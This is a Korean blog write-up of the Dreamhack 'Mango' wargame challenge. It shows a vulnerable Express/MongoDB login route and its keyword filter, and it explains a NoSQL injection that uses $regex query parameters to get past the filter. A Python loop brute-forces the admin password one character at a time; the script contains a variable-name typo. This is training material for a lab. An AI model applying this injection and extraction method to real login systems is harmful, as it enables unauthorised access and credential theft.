Tiny Bunny

Wargame/dreamhack

MANGO

bento 2023. 10. 3. 17:03

드림핵 

Dreamhack MANGO

 

 

https://dreamhack.io/wargame/challenges/90/

 

Mango

Description 이 문제는 데이터베이스에 저장된 플래그를 획득하는 문제입니다. 플래그는 admin 계정의 비밀번호 입니다. 플래그의 형식은 DH{...} 입니다. {'uid': 'admin', 'upw': 'DH{32alphanumeric}'} Reference Serv

dreamhack.io

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

  • 로그인 페이지

쿼리로 전달 받은 uid랑 upw를 사용해서 데이터베이스 검색 후 찾아낸 정보를 반환

uid만 출력 > 공격을 통해 upw를 획득해야 함

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
  • DH{32alphanumeric}

영숫자로 이루어진 32글자

  • 문자열 필터

admin, dh, admi 문자열 필터링 확인


공격 코드 작성

$regex 지정된 정규식과 일치하는 문서를 선택

. 임의의 문자 

? 반복 횟수 0회 이상 1회 이하 의미

 

uid=admin 를 우회 > ?uid[$regex]=ad.in   (ad.in = admin)

upw=DH{ 를 우회 > upw[$regex]=D.{        (D.=DH)

 

즉, ?uid[$regex]=ad.in&upw[$regex]=D.{

 

 

한 개씩 비교해서 찾을 수 있지만 양이 많아서 반복 코드 작성..

import requests, string

url = '~~'
case = string.digits + string.ascii_letters # 십진수0~9, 영어 알파벳 대소문자
success = 'admin'

flag = ''

for i in range(32):
	for char in case:
			response = requests.get(f'{url}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{char}') 
			if reponse.text == success:
				 flag += char
				 break
print(f'FLAG: DH{{{flag}}}')  # 문자열 스트링에서 { 는 {{ 로 사용

728x90

'Wargame > dreamhack' 카테고리의 다른 글

image-storage  (0) 2023.10.03
command-injection-1  (0) 2023.10.03
NoSQL  (0) 2023.10.03
simple_sqli  (0) 2023.10.03
XSS-1  (0) 2023.10.03